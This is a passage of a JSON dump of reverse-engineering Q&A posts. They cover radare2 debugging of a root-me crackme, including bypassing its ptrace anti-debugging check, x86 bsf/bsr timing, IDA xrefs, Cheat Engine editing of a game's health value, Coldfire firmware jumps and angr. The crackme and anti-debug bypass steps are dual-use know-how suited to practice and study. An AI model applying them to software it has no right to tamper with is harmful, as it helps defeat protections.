after <code>b8</code>.</p>\n\n<p>After this you will see correct opcodes:</p>\n\n<pre><code>0x08048497      .byte 0xb8\n0x08048498      8a55ea         mov dl, byte [ebp - 0x16]\n0x0804849b      8b45f4         mov eax, dword [ebp - 0xc]\n</code></pre>\n\n<p>Now you could resize the main function for the following basic block by doing <code>afb+</code>, but for some reason <code>pdf</code> still doesn't print correctly the function. Need to check if that's not a bug.</p>\n"
    },
    {
        "Id": "20540",
        "CreationDate": "2019-02-03T13:22:11.707",
        "Body": "<p>I am trying to solve this <a href=\"https://www.root-me.org/en/Challenges/Cracking/ELF-Ptrace\" rel=\"nofollow noreferrer\">ELF - Ptrace challenge</a>. I use <code>Radare 2</code>. This is the commands I execute to print the assembly code.</p>\n\n<pre><code>radare2 ch3.bin\n[0x080482f0]&gt; aaa\n[[anal.jmptbl] Missing cjmp bb in predecessor at 0x08057fca\n[anal.jmptbl] Missing cjmp bb in predecessor at 0x08057f4a\n[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc43\n[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc23\n[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc63\n[anal.jmptbl] Missing cjmp bb in predecessor at 0x0808fc83\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n[x] Type matching analysis for all functions (aaft)\n[x] Use -AA or aaaa to perform additional experimental analysis.\n\n[0xf7f0b049]&gt; pd 100 @ main\n            ;-- main:\n/ (fcn) sym.main 175\n|   int sym.main (int argc, char **argv, char **envp);\n|           ; var char *s @ ebp-0x16\n|           ; var int var_ch @ ebp-0xc\n|           ; var int var_4h @ ebp-0x4\n|           ; arg int arg_4h @ esp+0x4\n|           ; DATA XREF from entry0 (0x8048307)\n|           0x080483f0      8d4c2404       lea ecx, [arg_4h]           ; sym._nl_current_LC_MONETARY\n|           0x080483f4      83e4f0         and esp, 0xfffffff0\n|           0x080483f7      ff71fc         push dword [ecx - 4]\n|           0x080483fa      55             push ebp\n|           0x080483fb      89e5           mov ebp, esp\n|           0x080483fd      51             push ecx\n|           0x080483fe      83ec14         sub esp, 0x14\n|           0x08048401      c745f488280c.  mov dword [var_ch], str.ksuiealohgy ; 0x80c2888 ; \"ksuiealohgy\"\n|           0x08048408      6a00           push 0                      ; void*data\n|           0x0804840a      6a01           push 1                      ; ecx ; void*addr\n|           0x0804840c      6a00           push 0                      ; pid_t pid\n|           0x0804840e      6a00           push 0                      ; __ptrace_request request\n|           0x08048410      e85b060100     call sym.ptrace\n|           0x08048415      83c410         add esp, 0x10\n|           0x08048418      85c0           test eax, eax\n|       ,=&lt; 0x0804841a b    791a           jns 0x8048436\n|       |   0x0804841c      83ec0c         sub esp, 0xc\n|       |   0x0804841f      6894280c08     push str.Debugger_detect___..._Exit ; 0x80c2894 ; \"Debugger detect\\u00e9 ... Exit\" ; const char *s\n|       |   0x08048424      e8a70e0000     call sym.puts               ; int puts(const char *s)\n|       |   0x08048429      83c410         add esp, 0x10\n|       |   0x0804842c      b801000000     mov eax, 1\n|      ,==&lt; 0x08048431      e9c3000000     jmp loc.080484f9\n|      ||   ; CODE XREF from sym.main (0x804841a)\n|      |`-&gt; 0x08048436      83ec0c         sub esp, 0xc\n|      |    0x08048439      68b0280c08     push 0x80c28b0              ; const char *s\n|      |    0x0804843e      e88d0e0000     call sym.puts               ; int puts(const char *s)\n|      |    0x08048443      83c410         add esp, 0x10\n|      |    0x08048446      83ec0c         sub esp, 0xc\n|      |    0x08048449      68f0280c08     push str.Bienvennue_dans_ce_challenge_de_cracking ; 0x80c28f0 ; \"##        Bienvennue dans ce challenge de cracking        ##\" ; const char *s\n|      |    0x0804844e      e87d0e0000     call sym.puts               ; int puts(const char *s)\n|      |    0x08048453      83c410         add esp, 0x10\n|      |    0x08048456      83ec0c         sub esp, 0xc\n|      |    0x08048459      6830290c08     push 0x80c2930              ; const char *s\n|      |    0x0804845e      e86d0e0000     call sym.puts               ; int puts(const char *s)\n|      |    0x08048463      83c410         add esp, 0x10\n|      |    0x08048466      b86e290c08     mov eax, str.Password_:     ; 0x80c296e ; \"Password : \"\n|      |    0x0804846b      83ec0c         sub esp, 0xc\n|      |    0x0804846e      50             push eax\n|      |    0x0804846f      e8ec0a0000     call sym.__printf\n|      |    0x08048474      83c410         add esp, 0x10\n|      |    0x08048477      a19c540e08     mov eax, dword obj.stdin    ; obj._IO_stdin ; [0x80e549c:4]=0x80e5080 obj._IO_2_1_stdin\n|      |    0x0804847c      83ec04         sub esp, 4\n|      |    0x0804847f      50             push eax                    ; FILE *stream\n|      |    0x08048480      6a09           push 9                      ; 9 ; int size\n|      |    0x08048482      8d45ea         lea eax, [s]\n|      |    0x08048485      50             push eax                    ; char *s\n|      |    0x08048486      e8050b0000     call sym.fgets              ; char *fgets(char *s, int size, FILE *stream)\n|      |    0x0804848b      83c410         add esp, 0x10\n|      |    0x0804848e      8d0597840408   lea eax, loc._notng         ; 0x8048497\n|      |    0x08048494      40             inc eax\n\\      |    0x08048495      ffe0           jmp eax\n       |    ;-- _notng:\n       |    ; DATA XREF from sym.main (0x804848e)\n       |    0x08048497      b88a55ea8b     mov eax, 0x8bea558a\n       |    0x0804849c      45             inc ebp\n       |    0x0804849d      f4             hlt\n       |    0x0804849e      83c004         add eax, 4\n       |    0x080484a1      8a00           mov al, byte [eax]\n       |    0x080484a3      38c2           cmp dl, al\n       |,=&lt; 0x080484a5 b    753d           jne 0x80484e4\n       ||   0x080484a7      8a55eb         mov dl, byte [ebp - 0x15]\n       ||   0x080484aa      8b45f4         mov eax, dword [ebp - 0xc]\n       ||   0x080484ad      83c005         add eax, 5\n       ||   0x080484b0      8a00           mov al, byte [eax]\n       ||   0x080484b2      38c2           cmp dl, al\n      ,===&lt; 0x080484b4      752e           jne 0x80484e4\n      |||   0x080484b6      8a55ec         mov dl, byte [ebp - 0x14]\n      |||   0x080484b9      8b45f4         mov eax, dword [ebp - 0xc]\n      |||   0x080484bc      40             inc eax\n      |||   0x080484bd      8a00           mov al, byte [eax]\n      |||   0x080484bf      38c2           cmp dl, al\n     ,====&lt; 0x080484c1 b    7521           jne 0x80484e4\n     ||||   0x080484c3      8a55ed         mov dl, byte [ebp - 0x13]\n     ||||   0x080484c6      8b45f4         mov eax, dword [ebp - 0xc]\n     ||||   0x080484c9      83c00a         add eax, 0xa\n     ||||   0x080484cc      8a00           mov al, byte [eax]\n     ||||   0x080484ce      38c2           cmp dl, al\n    ,=====&lt; 0x080484d0 b    7512           jne 0x80484e4\n    |||||   0x080484d2      83ec0c         sub esp, 0xc\n    |||||   0x080484d5      687a290c08     push str.Good_password      ; 0x80c297a ; \"\\nGood password !!!\\n\"\n    |||||   0x080484da      e8f10d0000     call sym.puts               ; int puts(const char *s)\n    |||||   0x080484df      83c410         add esp, 0x10\n   ,======&lt; 0x080484e2      eb10           jmp 0x80484f4\n   ||||||   ; CODE XREFS from loc._notng (+0xe, +0x1d, +0x2a, +0x39)\n   |```-`-&gt; 0x080484e4 b    83ec0c         sub esp, 0xc\n   |   |    0x080484e7      688e290c08     push str.Wrong_password.    ; 0x80c298e ; \"\\nWrong password.\\n\"\n   |   |    0x080484ec      e8df0d0000     call sym.puts               ; int puts(const char *s)\n   |   |    0x080484f1      83c410         add esp, 0x10\n   |   |    ; CODE XREF from loc._notng (+0x4b)\n   `------&gt; 0x080484f4      b800000000     mov eax, 0\n|- loc.080484f9 8\n|   loc.080484f9 ();\n|      |    ; var int var_4h @ ebp-0x4\n|      |    ; CODE XREF from sym.main (0x8048431)\n|      `--&gt; 0x080484f9      8b4dfc         mov ecx, dword [var_4h]\n|           0x080484fc      c9             leave\n|           0x080484fd      8d61fc         lea esp, [ecx - 4]\n\\           0x08048500      c3             ret\n            0x08048501      90             nop\n            0x08048502      90             nop\n            0x08048503      90             nop\n            0x08048504      90             nop\n            0x08048505      90             nop\n            0x08048506      90             nop\n            0x08048507      90             nop\n            0x08048508      90             nop\n            0x08048509      90             nop\n            0x0804850a      90             nop\n            0x0804850b      90             nop\n</code></pre>\n\n<p>I can see that there is an anti-debugging technic at instruction <code>0x0804841a</code>, I can bypass it putting a break point and modifying eip adress on the fly.\nI can also see that there is several tests before print <em>Good Password!!!</em>\nI put all the breakpoints I need :</p>\n\n<pre><code>[0x00000000]&gt; ood\n[0x080482f0]&gt; db 0x0804841a\n[0x080482f0]&gt; db 0x080484a5\n[0x080482f0]&gt; db 0x80484e4\n[0x080482f0]&gt; db 0x080484c1\n[0x080482f0]&gt; db 0x080484d0\n[0x080482f0]&gt; dc\nchild stopped with signal 28\n[+] SIGNAL 28 errno=0 addr=0x00000000 code=128 ret=0\n[0x080482f0]&gt; dc\nhit breakpoint at: 804841a\n[0x0804841a]&gt; dr eip=0x08048436\n0x0804841a -&gt;0x08048436\n[0x0804841a]&gt; dc\n############################################################\n##        Bienvennue dans ce challenge de cracking        ##\n############################################################\n\nPassword : badpassword \nhit breakpoint at: 80484a5\n[0x080484a5]&gt; dr eip=0x080484a7\n0x080484a5 -&gt;0x080484a7\n[0x080484a5]&gt; dc\nhit breakpoint at: 80484e4\n[0x080484a5]&gt; dr eip=0x080484b6\n0x080484e4 -&gt;0x080484b6\n[0x080484a5]&gt; dc\nhit breakpoint at: 80484c1\n[0x080484a5]&gt; dr eip=0x080484c3\n0x080484c1 -&gt;0x080484c3\n[0x080484a5]&gt; dc\nhit breakpoint at: 80484d0\n[0x080484a5]&gt; ptr axt\n[0x080484a5]&gt; dr\neax = 0x080c2879\nebx = 0x00000000\necx = 0xffffffff\nedx = 0x080e6515\nesi = 0x08048bc0\nedi = 0x08048b20\nesp = 0xffe51480\nebp = 0xffe51498\neip = 0x080484d0\neflags = 0x00000297\noeax = 0xffffffff\n</code></pre>\n\n<p>Now, at this point (and for each conditinal previous tests), I would like to print the value of the stack or adresses to see exactly what is compared. My problem is I can't understant what values are compared in the first test for example :</p>\n\n<pre><code>   |    ; DATA XREF from sym.main (0x804848e)\n   |    0x08048497      b88a55ea8b     mov eax, 0x8bea558a\n   |    0x0804849c      45             inc ebp\n   |    0x0804849d      f4             hlt\n   |    0x0804849e      83c004         add eax, 4\n   |    0x080484a1      8a00           mov al, byte [eax]\n   |    0x080484a3      38c2           cmp dl, al\n   |,=&lt; 0x080484a5      753d           jne 0x80484e4\n</code></pre>\n\n<p>I think I use a bad way to solve this challenge because I modify each eip to print finally <em>Good Password!!!</em>, I can't see the password on the stack or something else. I use the command <code>pxr @ esp</code>.\nWhat is the content of <code>al</code> and <code>dl</code> ?</p>\n\n<p>I also tried to generate the source code with <code>Snowman</code> but it doesn't help me :</p>\n\n<pre><code>void fun_804849e(void** ecx) {\n    signed char dl2;\n    struct s2421* eax3;\n    int32_t ebp4;\n    int32_t ebp5;\n    int32_t ebp6;\n    int32_t ebp7;\n    int32_t ebp8;\n    int32_t ebp9;\n    int32_t v10;\n    int32_t v11;\n    int32_t v12;\n    int32_t v13;\n    int32_t v14;\n    int32_t v15;\n\n    if (dl2 != eax3-&gt;f4 || (*reinterpret_cast&lt;signed char*&gt;(ebp4 - 21) != (*reinterpret_cast&lt;struct s2422**&gt;(ebp5 - 12))-&gt;f5 || (*reinterpret_cast&lt;signed char*&gt;(ebp6 - 20) != (*reinterpret_cast&lt;struct s2423**&gt;(ebp7 - 12))-&gt;f1 || *reinterpret_cast&lt;signed char*&gt;(ebp8 - 19) != (*reinterpret_cast&lt;struct s2424**&gt;(ebp9 - 12))-&gt;f10))) {\n        _IO_puts(ecx, \"\\nWrong password.\\n\", v10, v11, v12, __return_address());\n    } else {\n        _IO_puts(ecx, \"\\nGood password !!!\\n\", v13, v14, v15, __return_address());\n    }\n}\n</code></pre>\n",
        "Title": "How to print the value of register with Radare 2",
        "Tags": "|binary-analysis|radare2|breakpoint|stack|crackme|",
        "Answer": "<p>Printing the registry values in radare2 is quite simple.</p>\n<h2>All registers</h2>\n<p>You can print all the General Purpose registers using <code>dr</code>:</p>\n<pre><code>[0x55bea3305070]&gt; dr\nrax = 0x55bea3305070\nrbx = 0x00000000\nrcx = 0x7fd7ee4f7578\nrdx = 0x7ffd63b54428\nr8 = 0x7fd7ee4f8be0\nr9 = 0x7fd7ee4f8be0\nr10 = 0x00000001\nr11 = 0x00000000\nr12 = 0x55bea3306ae0\nr13 = 0x7ffd63b54410\nr14 = 0x00000000\nr15 = 0x00000000\nrsi = 0x7ffd63b54418\nrdi = 0x00000001\nrsp = 0x7ffd63b54338\nrbp = 0x55bea33176f0\nrip = 0x55bea3305070\nrflags = 0x00000246\norax = 0xffffffffffffffff\n</code></pre>\n<h2>Telescoping</h2>\n<p>You can get even more information using <code>drr</code> which will also perform telescoping for the registers:</p>\n<pre><code>[0x55bea3305070]&gt; drr\n   rax 0x55bea3305070      (.text) (/usr/bin/ls) rip program R X 'push r15' 'ls'\n   rbx 0x0                 r15\n   rcx 0x7fd7ee4f7578      (/usr/lib/libc-2.28.so) rcx library R W 0x7fd7ee4f8be0 --&gt;  (/usr/lib/libc-2.28.so) r9 library R W 0x0 --&gt;  r15\n   rdx 0x7ffd63b54428      rdx stack R W 0x7ffd63b54b6d --&gt;  stack R W 0x622f3d4c4c454853 (SHELL=/bin/bash) --&gt;  ascii\n    r8 0x7fd7ee4f8be0      (/usr/lib/libc-2.28.so) r9 library R W 0x0 --&gt;  r15\n    r9 0x7fd7ee4f8be0      (/usr/lib/libc-2.28.so) r9 library R W 0x0 --&gt;  r15\n   r10 0x1                 rdi\n   r11 0x0                 r15\n   r12 0x55bea3306ae0      (.text) (/usr/bin/ls) r12 program R X 'endbr64' 'ls'\n   r13 0x7ffd63b54410      r13 stack R W 0x1 --&gt;  rdi\n   r14 0x0                 r15\n   r15 0x0                 r15\n   rsi 0x7ffd63b54418      rsi stack R W 0x7ffd63b54b65 --&gt;  stack R W 0x736c2f6e69622f (/bin/ls) --&gt;  ascii\n   rdi 0x1                 rdi\n   rsp 0x7ffd63b54338      rsp stack R W 0x7fd7ee35d223 --&gt;  (/usr/lib/libc-2.28.so) library R X 'mov edi, eax' 'libc-2.28.so'\n   rbp 0x55bea33176f0      (.text) (/usr/bin/ls) rbp program R X 'endbr64' 'ls'\n   rip 0x55bea3305070      (.text) (/usr/bin/ls) rip program R X 'push r15' 'ls'\n    cs 0x33                ascii\nrflags 1PZI                rflags\n  orax 0xffffffffffffffff  orax\n    ss 0x2b                ascii\nfs_base 0x7fd7ee336740      (unk1) R W 0x7fd7ee336740\ngs_base 0x0                 r15\n    ds 0x0                 r15\n    es 0x0                 r15\n    fs 0x0                 r15\n    gs 0x0                 r15\n</code></pre>\n<h2>A specific register</h2>\n<p>You can print a specific register using <code>dr &lt;reg&gt;</code>.</p>\n<pre><code>[0x55bea3305070]&gt; dr rax\n0x55bea3305070\n</code></pre>\n<p>The registers <code>al</code> and <code>dl</code> are simply the lower 8 bits of the registers EAX and EDX respectively.</p>\n<pre><code>[0x55bea3305070]&gt; dr rax\n0x55bea3305070\n[0x55bea3305070]&gt; dr eax\n0xa3305070\n[0x55bea3305070]&gt; dr al\n0x00000070\n\n\n\n[0x55bea3305070]&gt; dr rdx\n0x7ffd63b54428\n[0x55bea3305070]&gt; dr edx\n0x63b54428\n[0x55bea3305070]&gt; dr dl\n0x00000028\n</code></pre>\n<h2>Further reading</h2>\n<p>I recommend reading the <a href=\"https://book.rada.re/\" rel=\"noreferrer\">radare2book</a>, and more specifically, the <a href=\"https://book.rada.re/debugger/registers.html\" rel=\"noreferrer\">chapter about Registers</a>.</p>\n"
    },
    {
        "Id": "20545",
        "CreationDate": "2019-02-04T02:47:27.660",
        "Body": "<p>I am on the hook to analysis some \"timing channels\" of some x86 binary code. I am posting one question to comprehend <code>bsf/bsr</code> opcode.</p>\n\n<p>So high-levelly, these two opcodes can be modeled as a \"loop\", which counts the leading and trailing zeros of a given operand. The <code>x86</code> manual has a good formalization of these opcodes, something like the following:</p>\n\n<pre><code>IF SRC = 0\n  THEN\n    ZF \u2190 1;\n    DEST is undefined;\n  ELSE\n    ZF \u2190 0;\n    temp \u2190 OperandSize \u2013 1;\n    WHILE Bit(SRC, temp) = 0\n    DO\n      temp \u2190 temp - 1;\n    OD;\n    DEST \u2190 temp;\nFI;\n</code></pre>\n\n<p>But to my suprise, <code>bsf/bsr</code> instructions seem to have <strong>fixed cpu cycles</strong>. According to some documents I found here: <a href=\"https://gmplib.org/~tege/x86-timing.pdf\" rel=\"nofollow noreferrer\">https://gmplib.org/~tege/x86-timing.pdf</a>, seems that they always take 8 CPU cycles to finish. </p>\n\n<p>So here are my questions:</p>\n\n<ol>\n<li><p>I am confirming that these instructions have fixed cpu cycles. In other words, no matter what operand is given, they always take the same amount of time to process, and there is no \"timing channel\" behind. I cannot find corresponding specifications in Intel's official documents.</p></li>\n<li><p>Then why it is possible? Apparently this is a \"loop\" or somewhat, at least high-levelly. What is the design decision behind? Easier for CPU pipelines?</p></li>\n</ol>\n",
        "Title": "Understand the CPU cycles of x86 instruction bsr/bsf",
        "Tags": "|assembly|x86|intel|",
        "Answer": "<p>I've found a <a href=\"https://web.itu.edu.tr/kesgin/mul06/intel/instr/bsf.html\" rel=\"nofollow noreferrer\">site</a> which seems to indicate this was implemented as a loop when the instructions were introduced:</p>\n\n<pre><code>BSF scans forward across bit pattern (0-n) while BSR scans in reverse (n-0).\n\n                             Clocks                 Size\n    Operands         808x  286   386   486          Bytes\n\n    reg,reg           -     -   10+3n  6-42           3\n    reg,mem           -     -   10+3n  7-43          3-7\n    reg32,reg32       -     -   10+3n  6-42          3-7\n    reg32,mem32       -     -   10+3n  7-43          3-7\n</code></pre>\n\n<p>Thankfully, they seem to optimized it starting with 486 (1989). As you already noticed, they seem to have improved the run time even further. Indeed, the current <a href=\"https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf\" rel=\"nofollow noreferrer\">Intel Optimization Manual</a> lists it with pretty low fixed clock cycles (3+1).</p>\n\n<p>There is a much more in detail answer on <a href=\"https://stackoverflow.com/questions/54509623/how-can-x86-bsr-bsf-have-fixed-latency-not-data-dependent-doesnt-it-loop-over\">stackexchange</a></p>\n"
    },
    {
        "Id": "20553",
        "CreationDate": "2019-02-04T20:19:09.780",
        "Body": "<p><a href=\"https://reverseengineering.stackexchange.com/questions/20115/ida-hex-rays-there-are-no-xrefs-to\">This question has already been asked here</a> but for some reason it was deleted, as \"dead\".</p>\n\n<p>I will try to explain again. I have a specific data type. It is used in a large number of disassembled functions. This type has a field whose purpose is unknown. I need to find all references to this field in the entire application.</p>\n\n<p>I can belive to @Biswapriyo, that this behavior is by design and I cannot find xrefs to the field of data type. Ok, got it. Now I need to find a way to do that! :)</p>\n\n<p>Perhaps there are any plugin? I don't understand why this can be difficult, since to perform this action, it is enough to generate a .c file, open it in notepad and press Ctrl+F. I want this functionality to be in IDA Hex-Rays.</p>\n",
        "Title": "IDA Hex-Rays: How to find all references to the certain field of all instances of the data type?",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>(Since I can't add comments due reputation)\nI ported IDAPython version of Referee to IDA 7.x (works on 7.5 good so far)\nRepository is <a href=\"https://github.com/gamelaster/ida-referee\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "20559",
        "CreationDate": "2019-02-05T12:14:02.470",
        "Body": "<p>I was reverse engineering a game using cheat engine and trying to trace where my health gets reduced.</p>\n\n<p>Basically the health gets stored in the stack and then pops out for displaying on the screen. After it pops out I tried to modify the memory address but that didn't work. Which means we need to modify it before it gets placed into the stack. After lots of diligent scrolling back, I came across the following code.</p>\n\n<pre><code>fld qword ptr[ebp-38]\n</code></pre>\n\n<p>This code basically pushes my health onto the stack. However, there are a whole bunch of really odd things in this code:</p>\n\n<ol>\n<li>This code pushes a value into the float register. It pushes my health float value (71.70) <strong>onto the Float registers</strong>. However, it is not clear from where its getting this value from. From [EBP-38]? It can't be that because that stores the value \"-2.0\".</li>\n<li>Once the value is pushed onto the Float registers, I notice that a value has been <strong>pushed onto the first register</strong> and all other values <strong>seem to be shifted.</strong> Both of these changes happen from just 1 instruction. Please take a look at the screenshot to see what I'm talking about.</li>\n</ol>\n\n<p>(If screenshot doesn't show big then right-click and \"open in new tab\" for a bigger size).\n<a href=\"https://i.stack.imgur.com/PcV4I.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PcV4I.png\" alt=\"cheat engine showing the line that adds our data\"></a></p>\n\n<ol start=\"3\">\n<li>Here's the really odd part. If I select this code in cheat engine then it shows the details of the operation on the right pane. There it shows that the value being moved is \"double\". However, this is supposed to be a floating point instruction. So shouldn't a float value get moved?</li>\n<li>Another odd thing is that after the value is moved, the float register shows that all 0s have been moved. The existing value is shifted down.</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/Cb4Hy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Cb4Hy.png\" alt=\"after the fld instruction has executed the float registers have changed\"></a></p>\n\n<p>So my question is:</p>\n\n<p>1) What does this instruction do exactly?</p>\n\n<p>2) To change this value to a custom value, can I change the source address? (wherever that is?). Assuming that that is [EBP-38] If yes, then can I use a simple move instruction for this?</p>\n\n<p>Something like mov [ebp-38], (hex value for 99 float)?</p>\n",
        "Title": "What is this assembly code, fld qword ptr code here doing? Also, how do I store my own value?",
        "Tags": "|assembly|cheat-engine|",
        "Answer": "<p>I think <code>fld</code> instruction is something like you load floating value into FPU registers. Example <code>st0</code> to <code>st7</code></p>\n\n<p>Note: <code>f</code> means <code>floating</code></p>\n\n<p><strong>How do I store my own value?</strong></p>\n\n<p>If you interested, this is just example to load your own value :</p>\n\n<pre><code>global _start\n\nsection .data\nvalue: dq 3.0\n\nsection .text\n\n_start:\n\nfld qword [value] ; store 3 into st0 \n</code></pre>\n"
    },
    {
        "Id": "20568",
        "CreationDate": "2019-02-07T10:29:50.037",
        "Body": "<p><br> \nI'm working on an embedded system Coldfire ROM. Currently, I'm trying to reverse engineering it to gain some more in-depth knowledge about its structure. <br>\nROM code quality seems <strong>pretty low</strong>, and I see a lot of redundancy and dead code lay around, as if the code was compiled with a very low level of optimization.<br> \nI'm telling you that because I do not understand if this fact is somehow related to the question I'm about to pose. <br>\nChecking the code, not infrequently, I'm stepping into jumps inside a single multi byte instruction. I'm new to this technique, so I wonder if someone can put me in the right track to understand this, that I consider a strangeness.<br>\nHere an example of what I'm referring to:\nI have a function which starts at <strong>ROM:00005474</strong></p>\n\n<pre><code>[...]\n.ROM:00005490 30 07             movew %d7,%d0\n.ROM:00005492 4a 80             tstl %d0\n.ROM:00005494 66 0c             bnes 0x0000000c :12 \n.ROM:00005496 70 00             moveq #0,%d0\n.ROM:00005498 60 00 00 a8       braw 0x000000b2\n.ROM:0000549c 4e b9 00 00 36 f8 jsr 0x000036f8  : the jump points inside here\n.ROM:000054a2 32 06             movew %d6,%d1\n.ROM:000054a4 48 c1             extl %d1\n.ROM:000054a6 20 01             movel %d1,%d0\n[...]\n</code></pre>\n\n<p>In another area of the  ROM, I have another function which starts at <strong>ROM:00012016</strong></p>\n\n<pre><code>[...]\n.ROM:000120c0 72 00             moveq #0,%d1\n.ROM:000120c2 12 00             moveb %d0,%d1\n.ROM:000120c4 20 3c 00 00 00 ff movel #255,%d0\n.ROM:000120ca b2 80             cmpl %d0,%d1\n.ROM:000120cc 66 00 01 92       bnew 0x00012260\n.ROM:000120d0 4e b9 00 00 54 9e jsr 0x0000549e :here the jump I do not understand\n.ROM:000120d6 72 00             moveq #0,%d1\n.ROM:000120d8 12 00             moveb %d0,%d1\n.ROM:000120da 20 3c 00 00 00 ff movel #255,%d0\n[...]\n</code></pre>\n\n<p>If I try to follow the jump and begin to disassemble the function starting from the address <strong>ROM:0000549e</strong> I get a translation which leads to the following interpretation. I understand it is executable, but I do not get the big picture in this action.</p>\n\n<pre><code>[...]\n.ROM:0000549e 00 00 36 f8                      orib #-8,%d0\n.ROM:000054a2 32 06                            movew %d6,%d1\n.ROM:000054a4 48 c1                            extl %d1\n.ROM:000054a6 20 01                            movel %d1,%d0\n[...]\n</code></pre>\n\n<p>Is there, behind this technique, some old practice I should know. Why this ROM developer should have used such a strange technique? To reduce the code size? If so, it is not fit with the rest of the code which is very redundant and has dead code in it which won't be ever executed!<br>\n<hr><strong>EDIT.20190214</strong><hr>\nAt byte 0xc000 it begins a block of code extends to 0x40000 whose first function appears to be incomplete in its beginning part. <br>\nThe weirdness seems to begin from this point forward and extends to the byte 0x40000 where the second part of the firmware begins. <br>\nIn this code blocks, there are roughly 200 functions of various dimensions and the <strong>JSRs</strong> with a weird absolute address are not present in all the functions in this block.<br>\nThe functions in this block seem to interact with each other seamlessly, but they occasionally occur to present inconsistent addresses.</p>\n",
        "Title": "Jump in the middle of an instruction Coldfire firmware",
        "Tags": "|disassembly|embedded|motorola|",
        "Answer": "<p>These phenomena may be explained by the technique used to write the code on the flash. <br> The fact that code is structured in two parts would allow the developers to write the code in the flash in two distinct moments. <br> From  <strong>MCF5282 and MCF5216 ColdFire Microcontroller User\u2019s Manual, Rev. 3</strong> page 6-19  states:<br> <strong><em>Thus, a single erase page is effectively 2 Kbyte</em></strong> <br>(0xc00=24 pages). <br>It's probable that the code with weird JSR targets might derive from garbage remained there from previous versions, not erased by process of writing the current code in the lower memory. <hr>This answer has been elaborated with the help of <strong>IgorSkochinsky</strong> and <strong>BruceAbbott</strong>.<hr></p>\n"
    },
    {
        "Id": "20570",
        "CreationDate": "2019-02-07T11:45:06.503",
        "Body": "<p>I'm trying to create an angr script to solve this test program:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n\nint main(int argc, char *argv[])\n{\n    int value = atoi(argv[1]);\n    char* foo = \"foobar\";\n    int sum = 0;\n    for (int i = 0; i &lt; strlen(foo); ++i)\n    {\n        sum += foo[i];\n    }\n    return (sum == value);\n}\n</code></pre>\n\n<p>I'm trying to find out what value needs to be passed to the program in order for it to return True. This is turning out to be less trivial than anticipated.</p>\n\n<p>The return value is set in the basic block:</p>\n\n<p><a href=\"https://i.stack.imgur.com/BFjIr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BFjIr.png\" alt=\"last block\"></a></p>\n\n<p>As you can see, <code>al</code> is set if the values used in the <code>cmp</code> are equal. </p>\n\n<p>Most angr solutions I have seen are based on a path that is taken if a certain condition is met. Given the address of that path, it is possible to solve the constraints required to get to the address of that path. This will not work in my case.</p>\n\n<p>I have been scouring the angr examples for a way to solve a symbolic variable for a function return value, but this doesn't seem to be possible.</p>\n\n<p>I'm currently trying to use <code>run</code> or <code>execute</code> with the <code>find</code> or <code>until</code> args to say: execute until <code>rip == &lt;end of function&gt; and eax == 1</code>.</p>\n\n<p>Currently I have this:</p>\n\n<pre><code>import angr\nimport claripy\n\ndef bv_to_int(bv):\n    return claripy.backends.concrete.convert(bv).value\n\ndef main():\n    p = angr.Project('angr_test')\n    arg = claripy.BVS('arg', 4*8)\n\n    st = p.factory.entry_state(args=[p.filename, arg])\n    sm = p.factory.simulation_manager(st)\n\n    sm.explore(find=lambda _s: bv_to_int(_s.regs.rip) &gt;= 0x400708 and bv_to_int(_s.regs.al) == 1)\n\n    print(sm.found[0].solver.eval(arg, cast_to=bytes))\n\nif __name__ == \"__main__\":\n    main()\n</code></pre>\n\n<p>Which is currently throwing:</p>\n\n<pre><code>Traceback (most recent call last):\n  File \"angr_test.py\", line 19, in &lt;module&gt;\n    main()\n  File \"angr_test.py\", line 14, in main\n    sm.explore(find=lambda _s: bv_to_int(_s.regs.rip) &gt;= 0x400708 and bv_to_int(_s.regs.al) == 1)\n  File \"/home/ben/.local/lib/python3.6/site-packages/angr/sim_manager.py\", line 237, in explore\n    self.run(stash=stash, n=n, **kwargs)\n  File \"/home/ben/.local/lib/python3.6/site-packages/angr/sim_manager.py\", line 259, in run\n    self.step(stash=stash, **kwargs)\n  File \"/home/ben/.local/lib/python3.6/site-packages/angr/misc/hookset.py\", line 75, in __call__\n    result = current_hook(self.func.__self__, *args, **kwargs)\n  File \"/home/ben/.local/lib/python3.6/site-packages/angr/exploration_techniques/explorer.py\", line 96, in step\n    return simgr.step(stash=stash, extra_stop_points=base_extra_stop_points | self._extra_stop_points, **kwargs)\n  File \"/home/ben/.local/lib/python3.6/site-packages/angr/misc/hookset.py\", line 80, in __call__\n    return self.func(*args, **kwargs)\n  File \"/home/ben/.local/lib/python3.6/site-packages/angr/sim_manager.py\", line 330, in step\n    goto = self.filter(state, filter_func=filter_func)\n  File \"/home/ben/.local/lib/python3.6/site-packages/angr/misc/hookset.py\", line 75, in __call__\n    result = current_hook(self.func.__self__, *args, **kwargs)\n  File \"/home/ben/.local/lib/python3.6/site-packages/angr/exploration_techniques/explorer.py\", line 113, in filter\n    stash = self._filter_inner(state)\n  File \"/home/ben/.local/lib/python3.6/site-packages/angr/exploration_techniques/explorer.py\", line 124, in _filter_inner\n    findable = self.find(state)\n  File \"angr_test.py\", line 14, in &lt;lambda&gt;\n    sm.explore(find=lambda _s: bv_to_int(_s.regs.rip) &gt;= 0x400708 and bv_to_int(_s.regs.al) == 1)\n  File \"angr_test.py\", line 5, in bv_to_int\n    return claripy.backends.concrete.convert(bv).value\n  File \"/home/ben/.local/lib/python3.6/site-packages/claripy/backends/__init__.py\", line 160, in convert\n    \"conversion on a child node\" % (self, ast.op, ast.__class__.__name__))\nclaripy.errors.BackendError: &lt;claripy.backends.backend_concrete.BackendConcrete object at 0x7f47a92c05f8&gt; can't handle operation Extract (BV) due to a failed conversion on a child 